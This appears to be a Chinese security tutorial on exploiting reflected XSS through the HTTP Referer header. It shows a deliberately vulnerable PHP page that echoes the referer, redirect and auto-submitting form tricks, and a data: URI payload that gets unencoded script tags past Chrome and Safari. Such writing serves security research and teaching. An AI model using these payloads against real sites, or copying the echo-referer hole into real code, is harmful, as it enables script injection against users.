header头referer字段反射xss利用

##伪造referer

自从flash修复伪造referer之后,目前没有已知的伪造referer的方式。

##利用跳转

跳转存在的问题就是在chrome和firefox中,query会被URL编码,IE不会。

跳转的方式主要有

META标签内跳转

javascript跳转

header头跳转

测试方式脚本,存在漏洞的页面:

<?php
echo '123';
echo $_SERVER['HTTP_REFERER'];
?>

在本地新建页面,代码如下,firefox中访问:

http://127.0.0.1/referer.html?<xsscode>

<script>
window.location.href='http://192.168.179.128/referer.php'
</script>

页面显示

123http://127.0.0.1/referer.html?%3Cxsscode%3E

IE8中测试,发现使用windows.location.href跳转,不会发送referer。(本文中提到的IE都是IE8测试),这个是IE的问题。可以通过其他的方式带上refer。这是另外一个问题了,这里不做过多讨论了,只提供一种可以利用的方式。

参考:http://www.gremwell.com/exploiting_xss_in_referer_header

<html>
<body>
<form id="xss"
      name="xss"
      method="GET"
      action="http://victim.example.com/vulnerable.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>

也可以使用iframe,因为iframe发出的请求是带referer的

#使用子域名和路径。

跳转的时候使用子域名或者路径承载payload,子域名没有测试,测试了下路径,IE8会对路径中的"<"进行url编码。

##使用datauri

参考:http://masatokinugawa.l0.cm/2013/10/referrer-xss.html

感谢神秘的M提供的技术翻译。如下:

IE的情况比较简单。因为IE不会对query中的<>进行Encode,所以下面的这种情况在IE是可利用的:

http://l0.cm/xss_referrer.html?<script>alert("1")</script>

但是Firefox.Chrome.Safari和IE却不同。他们会对query中的<>进行Encode,进而导致不能利用。所以我在这里和大家分享一个小的技巧(我自认为,这种手法是别人应该都还没有公开过的)

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>

当我们在data:URL中加上<meta name="referrer" content="always">这个标签时,我们就可以让正常情况下无法发送referrer的data:URL变得可以发送referrer信息了。通过这种方式呢,我们就可以在Chrome和safari下包含一个可以正常执行的“<>"了.

当然,等firefox开始支持<meta name="referrer">了,也许同样的方法也可以应用在firefox上面。

测试了下,最新版chrome这种方式已经不可以了。根据M的测试结果,目前,safari还是可以的。

[原文地址]